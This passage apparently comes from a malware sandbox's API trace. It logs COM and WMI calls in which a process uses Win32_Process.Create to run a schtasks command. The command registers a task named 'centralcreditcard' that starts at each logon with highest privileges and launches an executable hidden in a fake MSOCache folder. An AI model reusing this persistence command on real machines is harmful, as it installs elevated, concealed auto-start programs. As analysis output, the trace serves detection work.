Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0081.223] WbemDefPath:IUnknown:Release (This=0x1c022ce0) returned 0x3 [0081.223] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0081.223] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0081.223] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f630, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0081.224] WbemDefPath:IUnknown:Release (This=0x1c02f630) returned 0x2 [0081.224] WbemDefPath:IUnknown:Release (This=0x1c02f630) returned 0x1 [0081.224] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0081.224] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0081.224] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f630, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1c02f630) returned 0x0 [0081.224] WbemDefPath:IUnknown:AddRef (This=0x1c02f630) returned 0x3 [0081.224] WbemDefPath:IUnknown:Release (This=0x1c02f630) returned 0x2 [0081.224] WbemDefPath:IWbemPath:SetText (This=0x1c02f630, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0081.224] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f270, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0081.224] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f270, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0081.224] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f270, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0081.224] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0081.224] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0081.224] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0081.224] IUnknown:Release (This=0x111f638) returned 0x1 [0081.226] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c022d20) returned 0x0 [0081.226] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c022d20, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0081.226] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c022d20, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02f6f0) returned 0x0 [0081.226] WbemDefPath:IUnknown:Release (This=0x1c022d20) returned 0x0 [0081.226] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f6f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02f6f0) returned 0x0 [0081.226] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f6f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0081.226] WbemDefPath:IUnknown:AddRef (This=0x1c02f6f0) returned 0x3 [0081.226] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f6f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0081.226] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f6f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0081.226] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f6f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c022d60) returned 0x0 [0081.226] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c022d60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0081.227] WbemDefPath:IUnknown:Release (This=0x1c022d60) returned 0x3 [0081.227] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0081.227] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0081.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f6f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0081.227] WbemDefPath:IUnknown:Release (This=0x1c02f6f0) returned 0x2 [0081.227] WbemDefPath:IUnknown:Release (This=0x1c02f6f0) returned 0x1 [0081.227] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0081.227] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0081.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f6f0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02f6f0) returned 0x0 [0081.227] WbemDefPath:IUnknown:AddRef (This=0x1c02f6f0) returned 0x3 [0081.227] WbemDefPath:IUnknown:Release (This=0x1c02f6f0) returned 0x2 [0081.227] WbemDefPath:IWbemPath:SetText (This=0x1c02f6f0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0081.227] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f630, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0081.227] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f6f0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0081.227] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f6f0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0081.227] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f6f0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0081.227] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1c02f630) returned 0x0 [0081.227] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f6f0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0081.227] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02f6f0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0081.227] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02f6f0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0081.227] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02f630, uIndex=0x0, pszName="root") returned 0x0 [0081.227] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02f6f0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0081.227] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02f6f0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0081.227] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02f630, uIndex=0x1, pszName="cimv2") returned 0x0 [0081.227] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02f6f0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0081.227] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02f6f0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0081.227] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02f630, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0081.227] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02f630, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0081.227] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02f630, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0081.228] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f270, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0081.228] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f270, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0081.228] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f270, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0081.228] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f270, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0081.228] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f270, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0081.228] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f270, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0081.228] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f630, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0081.228] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f630, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0081.228] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f630, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0081.228] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f630, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0081.228] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f630, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0081.228] IWbemServices:GetObject (in: This=0x1c03e970, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1c029e90, ppCallResult=0x0) returned 0x0 [0081.234] IWbemClassObject:GetMethod (in: This=0x1c029e90, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1c02a200, ppOutSignature=0x1b2fd9e0*=0x1c02a570) returned 0x0 [0081.235] IWbemClassObject:SpawnInstance (in: This=0x1c02a200, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf6da30) returned 0x0 [0081.235] IWbemClassObject:Get (in: This=0x1bf6da30, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2add628*=0, plFlavor=0x2add62c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2add628*=8, plFlavor=0x2add62c*=32) returned 0x0 [0081.236] IWbemClassObject:Get (in: This=0x1bf6da30, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2add628*=8, plFlavor=0x2add62c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2add628*=8, plFlavor=0x2add62c*=32) returned 0x0 [0081.236] IWbemClassObject:Put (This=0x1bf6da30, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"centralcreditcard\" /sc ONLOGON /tr \"'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0081.236] IWbemClassObject:Get (in: This=0x1bf6da30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2add6b8*=0, plFlavor=0x2add6bc*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2add6b8*=13, plFlavor=0x2add6bc*=32) returned 0x0 [0081.236] IWbemClassObject:Get (in: This=0x1bf6da30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2add6b8*=13, plFlavor=0x2add6bc*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2add6b8*=13, plFlavor=0x2add6bc*=32) returned 0x0 [0081.236] IUnknown:QueryInterface (in: This=0x1c0297b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1c0297b0) returned 0x0 [0081.236] IUnknown:QueryInterface (in: This=0x1c0297b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0081.236] IUnknown:QueryInterface (in: This=0x1c0297b0, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0081.237] IUnknown:AddRef (This=0x1c0297b0) returned 0x3 [0081.237] IUnknown:QueryInterface (in: This=0x1c0297b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0081.237] IUnknown:QueryInterface (in: This=0x1c0297b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0081.237] IUnknown:QueryInterface (in: This=0x1c0297b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1c0297b8) returned 0x0 [0081.237] IMarshal:GetUnmarshalClass (in: This=0x1c0297b8, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0081.237] IUnknown:Release (This=0x1c0297b8) returned 0x3 [0081.237] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0081.237] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0081.237] IUnknown:QueryInterface (in: This=0x1c0297b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0081.237] IUnknown:Release (This=0x1c0297b0) returned 0x2 [0081.238] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0081.238] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0081.238] IUnknown:QueryInterface (in: This=0x1c0297b0, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0081.238] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0081.238] IUnknown:QueryInterface (in: This=0x1c0297b0, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0081.238] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0081.238] IUnknown:AddRef (This=0x1c0297b0) returned 0x3 [0081.238] IWbemClassObject:Put (This=0x1bf6da30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1c0297b0, varVal2=0x0), Type=0) returned 0x0 [0081.238] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f330, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0081.238] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f330, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0081.238] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f330, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0081.238] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f270, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0081.238] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f270, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0081.238] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f270, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0081.239] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f330, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0081.239] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f330, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0081.239] IWbemServices:ExecMethod (in: This=0x1c03e970, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf6da30, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf6dce0, ppCallResult=0x0) returned 0x0 [0081.483] IWbemClassObject:Get (in: This=0x1bf6dce0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2add9d0*=0, plFlavor=0x2add9d4*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xce8, varVal2=0x0), pType=0x2add9d0*=19, plFlavor=0x2add9d4*=0) returned 0x0 [0081.483] IWbemClassObject:Get (in: This=0x1bf6dce0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2add9d0*=19, plFlavor=0x2add9d4*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xce8, varVal2=0x0), pType=0x2add9d0*=19, plFlavor=0x2add9d4*=0) returned 0x0 [0081.484] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0081.484] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0081.484] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0081.484] IUnknown:Release (This=0x111f638) returned 0x1 [0081.486] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c022f60) returned 0x0 [0081.487] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c022f60, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0081.487] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c022f60, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1c02f7b0) returned 0x0 [0081.487] WbemDefPath:IUnknown:Release (This=0x1c022f60) returned 0x0 [0081.487] WbemDefPath:IUnknown:QueryInterface (in: 